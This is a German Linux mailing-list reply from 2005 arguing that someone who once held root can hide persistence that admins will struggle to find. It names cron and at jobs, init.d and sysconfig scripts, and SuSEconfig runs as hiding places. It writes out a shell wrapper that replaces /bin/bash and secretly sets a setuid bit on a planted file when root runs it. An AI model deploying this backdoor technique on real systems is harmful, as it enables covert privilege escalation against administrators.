Hallo, Am Mittwoch, 27. April 2005 15:34 schrieb Peter Wiersig:
Probiere es selbst mal aus. Ich jedenfalls kann Wolfgangs Befuerchtungen im Selbstversuch nicht nachvollziehen. Sobald der User das File neuschreibt, geht das suid-Bit floeten.
Stimmt. Ging aber früher mal. So verschwindet ein feature nach dem anderen...
Wenn auf der anderen Seite ein /etc/permissions* Eintrag existiert, wird der beim SuSEconfig Lauf aktiv.
Bei uns läuft über cron ein Proggi, das anhand einer Liste Benutzer und Permissions setzt, auch rekursiv konfigurierbar. Sowas kann man auch z.B. auf Heiligabend 18:30 setzen. Auch at kann sowas. Und in etc kann man auch viel verstecken, insbesondere unter init.d in einem der regulären Scripte. Oder in /etc/sysconfig in eines der Files eine Mine legen und warten, bis ein ahnungloser Admin SuSEconfig aufruft.
Nach suid Befehlen sollte man so wie so immer Ausschau halten, besonders, wenn der Besitzer root heisst.
Richtig. Aber wenn jemand wirklich böswillig ist und vorher root-Rechte hatte, nützt das gar nichts. Im Extremfall hat er sogar irgendwo ein root-kit oder sonst eine Hintertür in einem regulären Programm installiert. Da er root-Rechte hat, kann er auch alle Sicherheitseinrichtungen wie checklisten etc kontrollieren. Z.B. ganz einfach: # mv /bin/bash /bin/bash.SuSE # echo \ "if $zeit = $reif -a $user = root then chown root $mine chmod 4555 $mine rm /bin/bash mv /bin/bash.SuSE /bin/bash exec /bin/bash fi exec /bin/bash.SuSE" > /bin/bash # chmod 755 /bin/bash Relativ primitives Beispiel (ungetestet und nicht empfehlenswert!), kann aber so oder ähnlich mit nahezu jedem Programm ausgeführt und noch eleganter versteckt werden. Eleganter ist natürlich, in der C-Source so eine Schweinerei einzubauen, zu übersetzen, die Uhrzeit zu verstellen, dann Permission und Uhrzeit des binaries zu setzen, danach Uhrzeit wieder aktuell und source löschen. Gefährlich ist jedes Programm und Script, das root oder ein anderer der üblichen Verdächtigen (admin, bin, daemon...) irgendwann aus irgendeinem Grund ausführen wird. Das muss nicht im System stehen. Wenn man eigene Konfigurationsscripte hat, kann es auch da irgendwo zwischen den Daten drinstehen. Viel Spaß beim Suchen! Gruß, Wolfgang